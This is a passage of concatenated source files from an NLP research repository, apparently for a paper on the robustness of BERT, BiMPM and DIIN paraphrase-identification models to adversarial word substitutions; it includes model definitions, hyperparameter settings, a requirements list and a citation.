python main.py --data qqp|mrpc --target bert|bimpm|diin --dir bert_qqp|bert_mrpc|bimpm_qqp|bimpm_mrpc|diin_qqp|diin_mrpc --adv_train
```
Do early stopping when the training converges.
## Citation
Please kindly cite our paper:
<NAME> and <NAME>. [Robustness to Modification with Shared Words in Paraphrase Identification](https://aclanthology.org/2020.findings-emnlp.16.pdf). In Findings of EMNLP 2020.
```
@inproceedings{shi2020robustness,
title={Robustness to Modification with Shared Words in Paraphrase Identification},
author={<NAME> and <NAME>},
booktitle={Proceedings of the 2020 Conference on Empirical Methods in Natural Language Processing: Findings},
pages={164--171},
year={2020}
}
```
<file_sep>import torch
import numpy as np
from pytorch_pretrained_bert import BertTokenizer, BertModel, BertForMaskedLM
class LM:
def __init__(self, args):
self.max_sent_length = args.max_sent_length
self.bert_model = args.bert_model
self.tokenizer = BertTokenizer.from_pretrained(self.bert_model, do_lower_case=True)
self.device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
self.model = BertForMaskedLM.from_pretrained(self.bert_model)
self.model.to(self.device)
self.model.eval()
self.softmax = torch.nn.Softmax(dim=-1)
self.lm_candidates = args.lm_candidates
print("BertForMaskedLM loaded")
def get_pred(self, prefixes, suffixes):
tokens, segments, masks = [], [], []
for i in range(len(prefixes)):
prefix, suffix = prefixes[i], suffixes[i]
tokens_prefix = self.tokenizer.tokenize(" ".join(prefix))
tokens_suffix = self.tokenizer.tokenize(" ".join(suffix))
tokens_prefix = tokens_prefix[len(tokens_prefix) - (self.max_sent_length - 3) // 2:]
tokens_suffix = tokens_suffix[:(self.max_sent_length - 3) // 2]
tokenized_text = ["[CLS]"] + tokens_prefix + ["[MASK]"] + tokens_suffix + ["[SEP]"]
mask_id = 0
while tokenized_text[mask_id] != "[MASK]": mask_id += 1
masks.append(mask_id)
indexed_tokens = self.tokenizer.convert_tokens_to_ids(tokenized_text)
indexed_tokens += [0] * (self.max_sent_length - len(indexed_tokens))
tokens.append(indexed_tokens)
tokens_tensor = torch.tensor(tokens).cuda()
segments_tensor = torch.zeros((len(prefixes), self.max_sent_length), dtype=torch.long).cuda()
with torch.no_grad():
scores = self.model(tokens_tensor, segments_tensor)
pred = []
for i in range(len(prefixes)):
pred.append(self.softmax(scores[i, masks[i], :]))
return pred
def query(self, prefix, word_list, suffix):
predictions = self.get_pred(prefix, suffix)
tokenized_text = self.tokenizer.tokenize(" ".join(word_list))
indexed_tokens = self.tokenizer.convert_tokens_to_ids(tokenized_text)
prob = [predictions[idx] for idx in indexed_tokens]
return prob
def query_topk(self, prefix_a, suffix_a, prefix_b, suffix_b):
pred_a = self.get_pred(prefix_a, suffix_a)
pred_b = self.get_pred(prefix_b, suffix_b)
predicted_index = torch.topk(pred_a * pred_b, self.lm_candidates)[1]
res = self.tokenizer.convert_ids_to_tokens([idx.item() for idx in predicted_index])
return res
<file_sep>torch==1.1.0
tensorflow==1.13.1
pytorch_pretrained_bert>=0.6.2
nltk>=3.6
sklearn>=0.24
numpy>=1.21
<file_sep>from parser import Parser, update_arguments
models = ['attmix_CNN', "DIIN"]
def types(s):
options = [mod for mod in models if s in models]
if len(options) == 1:
return options[0]
return s
# Valid genres to train on.
genres = ['travel', 'fiction', 'slate', 'telephone', 'government']
def subtypes(s):
options = [mod for mod in genres if s in genres]
if len(options) == 1:
return options[0]
return s
class Args:
def __init__(self):
pass
def add_argument(self, name, type=None, default=None, help=None, action=None):
assert(name[0] == name[1] == '-')
name = name[2:]
if action == "store_true":
setattr(self, name, False)
elif action == "store_false":
setattr(self, name, True)
else:
setattr(self, name, default)
args = Args()
pa = args.add_argument
pa("--emb_to_load", type=int, default=None, help="Number of embeddings to load. If None, all embeddings are loaded.")
pa("--learning_rate", type=float, default=0.5, help="Learning rate for model")
pa("--keep_rate", type=float, default=1.0, help="Keep rate for dropout in the model")
pa("--input_keep_rate", type=float, default=0.8, help='keep rate for embedding')
pa("--use_input_dropout", action='store_true', help='use input dropout')
#pa("--seq_length", type=int, default=48, help="Max sequence length")
pa("--seq_length", type=int, default=24, help="Max sequence length")
pa("--emb_train", action='store_false', help="Call if you want to make your word embeddings trainable.")
pa("--genre", type=str, help="Which genre to train on")
pa("--alpha", type=float, default=0.15, help="What percentage of SNLI data to use in training")
pa("--test", action='store_true', help="Call if you want to only test on the best checkpoint.")
pa("--preprocess_data_only", action='store_true', help='preprocess_data_only')
pa("--num_process_prepro", type=int, default=24, help='num process prepro')
pa("--logit_func", type=str, default="tri_linear", help='logit function')
pa("--dense_att_logit_func", type=str, default="tri_linear", help='logit function on dense attention')
pa("--self_att_logit_func", type=str, default="tri_linear", help='logit function')
pa("--debug_model", action='store_true', help="debug model")
pa("--batch_size", type=int, default=70, help="batch size") ####
pa("--display_step", type=int, default=50, help='display steps')
pa("--eval_step", type=int, default=1000, help='eval step')
pa("--l2_regularization_ratio", type=float, default=9e-5, help='l2 regularization ratio') ##
pa("--training_completely_on_snli", action='store_true', help='train completely on snli')
pa("--use_lr_decay",action='store_true',help='lr decay')
# pa("--lr_decay_rate", type=float, default=0.99, help='lr decay rate')
pa("--use_label_smoothing", action='store_true', help='label smoothing')
pa("--label_smoothing_ratio", type=float, default=0.05, help='label smoothing ratio')
# Switches
pa("--l2_loss", action='store_false', help='have l2 loss') ##
pa("--gradient_clip_value", default=1.0, type=float, help='gradient clip value')
pa("--show_by_step", action='store_true', help='show by step')
pa("--pos_tagging", action='store_true', help="part of speech tagging enabled") ##
pa("--char_emb_size", type=int, default=8, help="char emb size")
pa("--char_in_word_size", type=int, default=16, help="number of chars in word")
pa("--char_out_size", type=int, default = 100, help="char out size")
pa("--use_char_emb", action='store_true', help="use character level info") ##
pa("--highway", action='store_true', help="highway network switch for fusing pos tagging")
pa("--highway_num_layers", type=int, default=2, help='number of highway network')
pa("--highway_network_output_size", type=int, default=None, help='highway_network_output_size')
pa("--additional_concat_out", action='store_true', help="dynamic concat p and h out")
pa("--self_attention_encoding", action='store_false', help='have self attention encoding instead of biLSTM') ##
pa("--self_att_enc_layers", type=int, default=1, help='num layers self att enc') ##
pa("--self_cross_att_enc", action='store_true', help='self cross attention encoding')
pa("--self_cross_att_enc_layers", type=int, default=1, help='self cross attention layers')
pa("--cross_att_residual_conn", action='store_true', help='cross attention residual connection')
pa("--dense_logit_features_num", type=int, default=20, help='dense logit feature number')
pa("--self_att_wo_residual_conn", action='store_true', help='self att without residual connection')
pa("--self_att_fuse_gate_residual_conn", action='store_false', help='self att fuse gate residual connection') ##
pa("--self_att_fuse_gate_relu_z", action='store_true', help='relu instead of tanh')
pa("--conv_fuse_gate_out_origx_base", action='store_true', help='conv_fuse_gate_out_origx_base')
pa("--conv_fuse_gate_out_newx_base", action='store_true', help='conv_fuse_gate_out_newx_base')
pa("--cross_att_fuse_gate_residual_conn", action='store_true', help='cross att fuse gate residual connection')
pa("--use_adagrad_optimizer", action='store_true',help='use adagrad optimizer')
pa("--user_adadeltaOptimizer", action='store_true', help='use adadelta optimizer') ##
pa("--conv_residual_conn_off", action='store_true', help='no more residual connnection in the deep conv net')
pa("--self_att_complex_linear_map_fuse_gate_residual_conn", action='store_true', help='self att complex linear map fuse gate residual connection')
pa("--p_base_fuse_gate", action='store_true', help='p base fuse gate in complex linear map self att')
pa("--tmp_p_base_fuse_gate", action='store_true', help='tmp based fuse gate in complex linear map self att')
pa("--self_att_highway_out", action='store_true', help='highway out for self att')
pa("--self_att_encoding_with_linear_mapping", action='store_true', help='self att encoding with linear mapping')
pa("--wd", type=float, default=0.0, help='weight decay')
pa("--last_avg_pooling", action='store_true', help='last avg pooling')
pa("--highway_use_tanh", action='store_true', help='highway network use tanh activation')
pa("--conv_use_tanh_act", action='store_true', help='tanh becomes the legendary activation function of convolution')
pa("--two_gate_fuse_gate", action='store_false', help='inside fuse gate we have two f gates') ##
pa("--self_att_head_num", type=int, default=3, help='multi-head num')
pa("--use_dense_att_multi_head_self_att", action='store_true', help='use dense attention version of multi head self att')
pa("--dense_attention_dropout", action='store_false', help='dropout on dense attention features') ##
pa("--out_channel_dims", type=str, default="100")
pa("--filter_heights", type=str, default="5")
pa("--wo_conv_dim_matching_res_conn", action='store_true', help='there is no dimension matching and res connect if dim is not matched')
pa("--super_dense_attention", action='store_false', help='super dense attention') ##
pa("--wo_enc_sharing", action='store_false', help='woencsharing') ##
pa("--diff_penalty_loss_ratio", type=float, default=1e-3, help='diff_penalty_loss_ratio') ##
pa("--dropout_keep_rate_decay", action='store_false', help="dropout_keep_rate_decay") ##
pa("--dropout_decay_step", type=int, default=10000, help='dropout_decay_step') ##
pa("--dropout_decay_rate", type=float, default=0.977, help='dropout_decay_rate') ##
pa("--sigmoid_growing_l2loss", action='store_false', help='parameterized_l2loss') ##
pa("--weight_l2loss_step_full_reg", type=int, default=100000, help='weight_l2loss_step_full_reg') ##
pa("--transitioning_conv_blocks", action='store_true', help='transitioning conv blocks')
pa("--use_dense_net", action='store_false', help='use dense net') ##
pa("--dense_net_growth_rate", type=int, default=20, help='dense net growth rate') ##
pa("--first_transition_growth_rate", type=int, default=2, help='first_transition_growth_rate')
pa("--dense_net_layers", type=int, default=8, help='dense net layers') ##
pa("--dense_net_bottleneck_size", type=int, default=500, help='dense net bottleneck size')
pa("--dense_net_transition_rate", type=float, default=0.5, help='dense_net_transition_rate') ##
pa("--dense_net_transition_layer_max_pooling", action='store_false', help='dense net transition layer max pooling') ##
pa("--dense_net_wo_bottleneck", action='store_false', help='dense net without bottleneck') ##
pa("--dense_net_act_before_conv", action='store_true', help='dense_net_act_before_conv')
pa("--dense_net_kernel_size", default=3, help='dense net kernel size')
pa("--rm_first_transition_layer", action='store_true', help='rm_first_transition_layer')
pa("--first_scale_down_layer", action='store_false', help='first_scale_down_layer') ##
pa("--first_scale_down_layer_relu", action='store_true', help='first_scale_down_layer_relu')
pa("--first_scale_down_kernel", type=int, default=1, help='first_scale_down_kernel') ##
pa("--dense_net_first_scale_down_ratio", type=float, default=0.3, help='dense_net_first_scale_down_ratio') ##
pa("--snli_joint_train_with_mnli", action='store_true', help='snli joint train with mnli')
pa("--embedding_replacing_rare_word_with_UNK", action='store_true', help='embedding_replacing_rare_word_with_UNK')
pa("--UNK_threshold", type=int, default=5, help='UNK threshold')
pa("--debug", action='store_true', help='debug mode')
pa("--use_final_state", action='store_true', help='use final states with of the lstm')
pa("--visualize_dense_attention_logits", action='store_true', help='visualize the attention logits in dense attention')
import sys
argv = sys.argv[1:]
parser = Parser().getParser()
args_global, _ = parser.parse_known_args(argv)
args_global = update_arguments(args_global)
def load_parameters():
# for mrpc
if args_global.data == "mrpc":
args.seq_length = 30
args.keep_rate = 0.8
FIXED_PARAMETERS = {
"embeddings_to_load": args.emb_to_load,
"word_embedding_dim": 300,
"hidden_embedding_dim": 300,
"seq_length": args.seq_length,
"keep_rate": args.keep_rate,
"batch_size": args.batch_size,
"learning_rate": args.learning_rate,
"emb_train": args.emb_train,
"alpha": args.alpha,
"genre": args.genre
}
return FIXED_PARAMETERS, args
def train_or_test():
return args.test
<file_sep>This part is based on https://github.com/YichenGong/Densely-Interactive-Inference-Network.
<file_sep># coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""PyTorch BERT model."""
from __future__ import absolute_import, division, print_function, unicode_literals
import sys
import torch
from torch import nn
from torch.nn import CrossEntropyLoss
from pytorch_pretrained_bert.modeling import BertEmbeddings, BertEncoder, \
BertPooler, BertPreTrainedModel
class BertModel(BertPreTrainedModel):
def __init__(self, config):
super(BertModel, self).__init__(config)
self.embeddings = BertEmbeddings(config)
self.encoder = BertEncoder(config)
self.pooler = BertPooler(config)
self.apply(self.init_bert_weights)
def forward(self, input_ids, token_type_ids=None, attention_mask=None, output_all_encoded_layers=True):
if attention_mask is None:
attention_mask = torch.ones_like(input_ids)
if token_type_ids is None:
token_type_ids = torch.zeros_like(input_ids)
extended_attention_mask = attention_mask.unsqueeze(1).unsqueeze(2)
extended_attention_mask = extended_attention_mask.to(dtype=next(self.parameters()).dtype) # fp16 compatibility
extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0
embedding_output = self.embeddings(input_ids, token_type_ids)
encoded_layers = self.encoder(embedding_output,
extended_attention_mask,
output_all_encoded_layers=output_all_encoded_layers)
sequence_output = encoded_layers[-1]
pooled_output = self.pooler(sequence_output)
if not output_all_encoded_layers:
encoded_layers = encoded_layers[-1]
return embedding_output, encoded_layers, pooled_output
class BertForSequenceClassification(BertPreTrainedModel):
def __init__(self, config, num_labels):
super(BertForSequenceClassification, self).__init__(config)
self.num_labels = num_labels
self.bert = BertModel(config)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.classifier = nn.Linear(config.hidden_size, num_labels)
self.apply(self.init_bert_weights)
def forward(self, input_ids, token_type_ids=None, attention_mask=None):
embedding_output, _, pooled_output = self.bert(input_ids, token_type_ids, attention_mask, output_all_encoded_layers=False)
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
return embedding_output, logits<file_sep>import tensorflow as tf
import numpy as np
from .utils.layer_utils import *
from .utils.match_utils import *
from .utils.data_utils import Batch
class BiMPM():
def __init__(self, sess, args, vocab_char, vocab_word):
self.sess = sess
self.dim_word = args.dim_word
self.dim_char_embed = args.dim_char_embed
self.dim_char_lstm = args.dim_char_lstm
self.num_chars = args.num_chars
self.dim_input = self.dim_word + self.dim_char_lstm * 2
self.aggregation_lstm_dim = 100
self.num_labels = args.num_labels
self.lr = args.lr
self.dropout = args.dropout
self.task = args.task
self.use_sgd = args.use_sgd
vocab_char.build_embed("char_embedding")
vocab_word.build_embed("word_embedding", trainable=False)
self._build_input()
self._build_embed()
with tf.variable_scope("m_net", initializer=tf.random_uniform_initializer(-0.01, 0.01)):
self._build_char_representation_layers()
self._build_word_representation_layers()
self._build_matching_layers()
def _build_input(self):
self.in_a_lengths = tf.placeholder(tf.int32, [None])
self.in_b_lengths = tf.placeholder(tf.int32, [None])
self.label = tf.placeholder(tf.int32, [None]) # [batch_size]
self.in_a_words = tf.placeholder(tf.int32, [None, None]) # [batch_size, a_len]
self.in_b_words = tf.placeholder(tf.int32, [None, None]) # [batch_size, b_len]
self.a_char_lengths = tf.placeholder(tf.int32, [None,None]) # [batch_size, a_len]
self.b_char_lengths = tf.placeholder(tf.int32, [None,None]) # [batch_size, b_len]
self.in_a_chars = tf.placeholder(tf.int32, [None, None, None]) # [batch_size, a_len, q_char_len]
self.in_b_chars = tf.placeholder(tf.int32, [None, None, None]) # [batch_size, b_len, p_char_len]
self.dropout_rate = tf.placeholder_with_default(0.0, ())
self.batch_size = tf.shape(self.label)[0]
self.a_len = tf.shape(self.in_a_words)[1]
self.b_len = tf.shape(self.in_b_words)[1]
self.in_a_rep, self.in_b_rep = [], []
self.a_lengths = self.in_a_lengths
self.b_lengths = self.in_b_lengths
def _build_embed(self):
with tf.variable_scope("embedding", reuse=True):
self.embed_char = tf.get_variable("char_embedding")
self.embed_word = tf.get_variable("word_embedding")
def _build_char_representation_layers(self):
a_char_len = tf.shape(self.in_a_chars)[2]
b_char_len = tf.shape(self.in_b_chars)[2]
self.in_a_char_rep = tf.nn.embedding_lookup(self.embed_char, self.in_a_chars) # [batch_size, a_len, a_char_len, dim_char]
self.in_a_char_rep = tf.reshape(self.in_a_char_rep, shape=[-1, a_char_len, self.dim_char_embed])
a_char_lengths = tf.reshape(self.a_char_lengths, [-1])
a_char_mask = tf.sequence_mask(a_char_lengths, a_char_len, dtype=tf.float32) # [batch_size*a_len, a_char_len]
self.in_a_char_rep = tf.multiply(self.in_a_char_rep, tf.expand_dims(a_char_mask, axis=-1))
self.in_b_char_rep = tf.nn.embedding_lookup(self.embed_char, self.in_b_chars) # [batch_size, b_len, b_char_len, dim_char]
self.in_b_char_rep = tf.reshape(self.in_b_char_rep, shape=[-1, b_char_len, self.dim_char_embed])
b_char_lengths = tf.reshape(self.b_char_lengths, [-1])
b_char_mask = tf.sequence_mask(b_char_lengths, b_char_len, dtype=tf.float32) # [batch_size*b_len, b_char_len]
self.in_b_char_rep = tf.multiply(self.in_b_char_rep, tf.expand_dims(b_char_mask, axis=-1))
(a_char_outputs_fw, a_char_outputs_bw, _) = my_lstm_layer(self.in_a_char_rep, self.dim_char_lstm,
input_lengths=a_char_lengths,scope_name="char_lstm", reuse=False, dropout_rate=self.dropout_rate)
a_char_outputs_fw = collect_final_step_of_lstm(a_char_outputs_fw, a_char_lengths - 1)
a_char_outputs_bw = a_char_outputs_bw[:, 0, :]
a_char_outputs = tf.concat(axis=1, values=[a_char_outputs_fw, a_char_outputs_bw])
a_char_outputs = tf.reshape(a_char_outputs, [self.batch_size, self.a_len, 2*self.dim_char_lstm])
(b_char_outputs_fw, b_char_outputs_bw, _) = my_lstm_layer(self.in_b_char_rep, self.dim_char_lstm,
input_lengths=b_char_lengths, scope_name="char_lstm", reuse=True, dropout_rate=self.dropout_rate)
b_char_outputs_fw = collect_final_step_of_lstm(b_char_outputs_fw, b_char_lengths - 1)
b_char_outputs_bw = b_char_outputs_bw[:, 0, :]
b_char_outputs = tf.concat(axis=1, values=[b_char_outputs_fw, b_char_outputs_bw])
b_char_outputs = tf.reshape(b_char_outputs, [self.batch_size, self.b_len, 2*self.dim_char_lstm])
self.in_a_rep.append(a_char_outputs)
self.in_b_rep.append(b_char_outputs)
def _build_word_representation_layers(self):
self.in_a_word_rep = tf.nn.embedding_lookup(self.embed_word, self.in_a_words) # [batch_size, a_len, dim_word]
self.in_b_word_rep = tf.nn.embedding_lookup(self.embed_word, self.in_b_words) # [batch_size, b_len, dim_word]
self.in_a_rep.append(self.in_a_word_rep)
self.in_b_rep.append(self.in_b_word_rep)
self.in_a_rep = tf.concat(axis=2, values=self.in_a_rep) # [batch_size, a_len, dim]
self.in_b_rep = tf.concat(axis=2, values=self.in_b_rep) # [batch_size, b_len, dim]
self.in_a_rep = tf.nn.dropout(self.in_a_rep, (1 - self.dropout_rate))
self.in_b_rep = tf.nn.dropout(self.in_b_rep, (1 - self.dropout_rate))
self.mask = tf.sequence_mask(self.b_lengths, self.b_len, dtype=tf.float32) # [batch_size, b_len]
self.a_mask = tf.sequence_mask(self.a_lengths, self.a_len, dtype=tf.float32) # [batch_size, a_len]
with tf.variable_scope("input_highway"):
self.in_a_rep = multi_highway_layer(self.in_a_rep, self.dim_input, 1)
tf.get_variable_scope().reuse_variables()
self.in_b_rep = multi_highway_layer(self.in_b_rep, self.dim_input, 1)
self.in_a_rep = tf.multiply(self.in_a_rep, tf.expand_dims(self.a_mask, axis=-1))
self.in_b_rep = tf.multiply(self.in_b_rep, tf.expand_dims(self.mask, axis=-1))
def _build_matching_layers(self):
# ========Bilateral Matching=====
(match_representation, match_dim) = bilateral_match_func(self.in_a_rep, self.in_b_rep,
self.a_lengths, self.b_lengths, self.a_mask, self.mask, self.dim_input, dropout_rate=self.dropout_rate)
# #========Prediction Layer=========
match_dim = 4 * self.aggregation_lstm_dim
w_0 = tf.get_variable("w_0", [match_dim, match_dim/2], dtype=tf.float32)
b_0 = tf.get_variable("b_0", [match_dim/2], dtype=tf.float32)
w_1 = tf.get_variable("w_1", [match_dim/2, self.num_labels],dtype=tf.float32)
b_1 = tf.get_variable("b_1", [self.num_labels],dtype=tf.float32)
logits = tf.matmul(match_representation, w_0) + b_0
logits = tf.tanh(logits)
logits = tf.nn.dropout(logits, (1 - self.dropout_rate))
logits = tf.matmul(logits, w_1) + b_1
self.logits = logits
self.prob = tf.nn.softmax(logits)
gold_matrix = tf.one_hot(self.label, self.num_labels, dtype=tf.float32)
self.loss_all = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=gold_matrix)
self.loss = tf.reduce_mean(self.loss_all)
correct = tf.nn.in_top_k(logits, self.label, 1)
self.eval_correct = tf.reduce_sum(tf.cast(correct, tf.int32))
self.predictions = tf.cast(tf.argmax(self.prob, 1), tf.int32)
self.score = 1 - self.prob[:, 0]
self.accuracy = tf.reduce_mean(tf.cast(tf.equal(self.predictions, self.label), dtype=tf.float32))
self.params = []
print("Trainable variables of M_Net:")
for var in tf.trainable_variables():
if var.name.find("m_net/") == 0 or var.name.find("embedding/") == 0:
self.params.append(var)
print(var)
print()
if self.use_sgd:
optimizer = tf.train.GradientDescentOptimizer(learning_rate=self.lr)
else:
optimizer = tf.train.AdamOptimizer(learning_rate=self.lr)
grads = compute_gradients(self.loss, self.params)
grads, _ = tf.clip_by_global_norm(grads, 10.0)
self.train_op = optimizer.apply_gradients(zip(grads, self.params))
def step(self, batch, is_train=False, attack=False):
_batch = batch
batch = Batch(batch)
input_feed = {
self.in_a_lengths: batch.a_lengths,
self.in_b_lengths: batch.b_lengths,
self.in_a_words: batch.in_a_words,
self.in_b_words: batch.in_b_words,
self.label: batch.label,
self.a_char_lengths: batch.a_char_lengths,
self.b_char_lengths: batch.b_char_lengths,
self.in_a_chars: batch.in_a_chars,
self.in_b_chars: batch.in_b_chars,
}
output_feed = [self.loss, self.accuracy, self.predictions, self.score]
if is_train:
input_feed[self.dropout_rate] = self.dropout
output_feed.append(self.train_op)
res = self.sess.run(output_feed, input_feed)
return res<file_sep>import tensorflow as tf
import os, importlib, random, gzip, pickle, nltk, time, copy
from .util import logger
from .util.parameters import load_parameters
from .util.data_processing import *
from .util.evaluate import *
from .models.DIIN import MyModel as MyModel
from utils import load_data_raw
import numpy as np
from multiprocessing import Pool
def get_ner(example):
def get(pos):
chunk = ne_chunk(pos)
ner = []
for i in range(len(chunk)):
if type(chunk[i]) == nltk.tree.Tree:
if chunk[i].label() in ner_dict:
ner.append([i, ner_dict[chunk[i].label()]])
return ner
example["sentence1_NER_feature"] = get(example["sent_a_pos"])
example["sentence2_NER_feature"] = get(example["sent_b_pos"])
return example
class DIIN:
def __init__(self, sess, args):
self.FIXED_PARAMETERS, self.config = load_parameters()
self.load_data(args)
self.sess = sess
self.learning_rate = self.FIXED_PARAMETERS["learning_rate"]
self.display_epoch_freq = 1
self.display_step = self.config.display_step
self.eval_step = self.config.eval_step
self.save_step = self.config.eval_step
self.embedding_dim = self.FIXED_PARAMETERS["word_embedding_dim"]
self.dim = self.FIXED_PARAMETERS["hidden_embedding_dim"]
self.batch_size = self.FIXED_PARAMETERS["batch_size"]
self.emb_train = self.FIXED_PARAMETERS["emb_train"]
self.keep_rate = self.FIXED_PARAMETERS["keep_rate"]
self.sequence_length = self.FIXED_PARAMETERS["seq_length"]
self.model = MyModel(self.config, seq_length=self.sequence_length, emb_dim=self.embedding_dim, hidden_dim=self.dim, embeddings=self.loaded_embeddings, emb_train=self.emb_train)
self.cpus = args.cpus
self.em_cache = {}
tvars = tf.trainable_variables()
grads, _ = tf.clip_by_global_norm(tf.gradients(self.model.total_cost, tvars), config.gradient_clip_value)
opt = tf.train.AdadeltaOptimizer(args.lr)
self.optimizer = opt.apply_gradients(zip(grads, tvars), global_step=self.model.global_step)
self.loss = self.model.total_cost
self.accuracy = self.model.acc
self.predictions = self.model.predictions
self.error = self.model.error
def load_data(self, args):
path = "cache/data_%s_diin_private.pkl.gz" % args.data
if os.path.exists(path):
print("Loading cached dataset from %s" % path)
f = gzip.open(path, "rb")
self.data_train, self.data_valid, self.data_test, \
self.indices_to_words, self.word_indices, \
self.char_indices, self.indices_to_chars = pickle.load(f)
f.close()
else:
self.data_train = load_data_raw(args, "train")
self.data_valid = load_data_raw(args, "dev")
self.data_test = load_data_raw(args, "test")
datasets = [self.data_train, self.data_valid, self.data_test]
print("Processing data for DIIN...")
for dataset in datasets:
for i, sample in enumerate(dataset):
sample["sent_a"] = sample["sent_a"][:self.config.seq_length]
sample["sent_b"] = sample["sent_b"][:self.config.seq_length]
sample["sent_a_pos"] = sample["sent_a_pos"][:self.config.seq_length]
sample["sent_b_pos"] = sample["sent_b_pos"][:self.config.seq_length]
sample["sentence1_binary_parse"] = " ".join(sample["sent_a"])
sample["sentence2_binary_parse"] = " ".join(sample["sent_b"])
sample["pairID"] = i
datasets, self.indices_to_words, self.word_indices, self.char_indices, \
self.indices_to_chars = sentences_to_padded_index_sequences(datasets)
self.config.char_vocab_size = len(self.char_indices.keys())
self.data_train, self.data_valid, self.data_test = datasets
f = gzip.open(path, 'wb')
pickle.dump((
self.data_train, self.data_valid, self.data_test,
self.indices_to_words, self.word_indices,
self.char_indices, self.indices_to_chars
), f)
f.close()
print("Loading embeddings...")
embedding_path = "cache/vocab_%s_diin_private.pkl.gz" % args.data
if os.path.exists(embedding_path):
f = gzip.open(embedding_path, 'rb')
self.loaded_embeddings = pickle.load(f)
f.close()
else:
glove_path = args.word_vector
self.loaded_embeddings = loadEmbedding_rand(glove_path, self.word_indices)
f = gzip.open(embedding_path, 'wb')
pickle.dump(self.loaded_embeddings, f)
f.close()
self.config.char_vocab_size = len(self.char_indices.keys())
def get_minibatch(self, batch, training=False):
indices = range(len(batch))
genres = [['quora'] for i in indices]
labels = [batch[i]['label'] for i in indices]
if not "pairID" in batch[0]:
pairIDs = np.array(range(len(batch)))
else:
pairIDs = np.array([batch[i]['pairID'] for i in indices])
premise_pad_crop_pair = hypothesis_pad_crop_pair = [(0,0)] * len(indices)
premise_vectors = fill_feature_vector_with_cropping_or_padding([batch[i]['sentence1_binary_parse_index_sequence'][:] for i in indices], premise_pad_crop_pair, 1)
hypothesis_vectors = fill_feature_vector_with_cropping_or_padding([batch[i]['sentence2_binary_parse_index_sequence'][:] for i in indices], hypothesis_pad_crop_pair, 1)
premise_pos_vectors = generate_quora_pos_feature_tensor([batch[i]['sentence1_part_of_speech_tagging'][:] for i in indices], premise_pad_crop_pair)
hypothesis_pos_vectors = generate_quora_pos_feature_tensor([batch[i]['sentence2_part_of_speech_tagging'][:] for i in indices], hypothesis_pad_crop_pair)
premise_char_vectors = fill_feature_vector_with_cropping_or_padding([batch[i]['sentence1_binary_parse_char_index'][:] for i in indices], premise_pad_crop_pair, 2, column_size=self.config.char_in_word_size)
hypothesis_char_vectors = fill_feature_vector_with_cropping_or_padding([batch[i]['sentence2_binary_parse_char_index'][:] for i in indices], hypothesis_pad_crop_pair, 2, column_size=self.config.char_in_word_size)
premise_exact_match = construct_one_hot_feature_tensor([batch[i]["sentence1_token_exact_match_with_s2"][:] for i in indices], premise_pad_crop_pair, 1)
hypothesis_exact_match = construct_one_hot_feature_tensor([batch[i]["sentence2_token_exact_match_with_s1"][:] for i in indices], hypothesis_pad_crop_pair, 1)
premise_exact_match = np.expand_dims(premise_exact_match, 2)
hypothesis_exact_match = np.expand_dims(hypothesis_exact_match, 2)
premise_inverse_term_frequency = hypothesis_inverse_term_frequency = np.zeros((len(indices), self.config.seq_length,1))
premise_antonym_feature = hypothesis_antonym_feature = premise_inverse_term_frequency
premise_NER_feature = construct_one_hot_feature_tensor([batch[i]["sentence1_NER_feature"][:] for i in indices], premise_pad_crop_pair, 2, 7)
hypothesis_NER_feature = construct_one_hot_feature_tensor([batch[i]["sentence2_NER_feature"][:] for i in indices], hypothesis_pad_crop_pair, 2, 7)
return premise_vectors, hypothesis_vectors, labels, genres, premise_pos_vectors, \
hypothesis_pos_vectors, pairIDs, premise_char_vectors, hypothesis_char_vectors, \
premise_exact_match, hypothesis_exact_match, premise_inverse_term_frequency, hypothesis_inverse_term_frequency, \
premise_antonym_feature, hypothesis_antonym_feature, premise_NER_feature, hypothesis_NER_feature
def get_em(self, example):
s1_tokenize = example["sent_a"]
s2_tokenize = example["sent_b"]
premise_exact_match = []
hypothesis_exact_match = []
for idx, w1 in enumerate(s1_tokenize):
for s2idx, w2 in enumerate(s2_tokenize):
if (w1, w2) in self.em_cache:
mat = self.em_cache[(w1, w2)]
else:
mat = self.em_cache[(w1, w2)] = is_exact_match(w1, w2)
if mat:
premise_exact_match.append(idx)
hypothesis_exact_match.append(s2idx)
example["sentence1_token_exact_match_with_s2"] = premise_exact_match
example["sentence2_token_exact_match_with_s1"] = hypothesis_exact_match
return example
def step(self, batch, is_train=False, attack=False):
if attack:
start_time = time.time()
sents = []
for sample in batch:
sample["sent_a"] = sample["sent_a"][:self.config.seq_length]
sample["sent_b"] = sample["sent_b"][:self.config.seq_length]
sents.append(sample["sent_a"])
sents.append(sample["sent_b"])
pos = nltk.pos_tag_sents(sents)
for i, sample in enumerate(batch):
sample["sent_a_pos"] = pos[0]
sample["sent_b_pos"] = pos[1]
pos = pos[2:]
sample["sentence1_binary_parse"] = " ".join(sample["sent_a"])
sample["sentence2_binary_parse"] = " ".join(sample["sent_b"])
sample["pairID"] = i
sample["sentence1_part_of_speech_tagging"] = " ".join([w[1] for w in sample["sent_a_pos"]])
sample["sentence2_part_of_speech_tagging"] = " ".join([w[1] for w in sample["sent_b_pos"]])
batch = [self.get_em(sample) for sample in batch]
with Pool(processes=8) as pool:
batch = pool.map(get_ner, batch)
for example in batch:
for sentence in ['sentence1_binary_parse', 'sentence2_binary_parse']:
example[sentence + '_index_sequence'] = np.zeros((self.FIXED_PARAMETERS["seq_length"]), dtype=np.int32)
example[sentence + '_inverse_term_frequency'] = np.zeros((self.FIXED_PARAMETERS["seq_length"]), dtype=np.float32)
if sentence == 'sentence1_binary_parse':
token_sequence = example["sent_a"]
else:
token_sequence = example["sent_b"]
padding = self.FIXED_PARAMETERS["seq_length"] - len(token_sequence)
for i in range(self.FIXED_PARAMETERS["seq_length"]):
if i >= len(token_sequence):
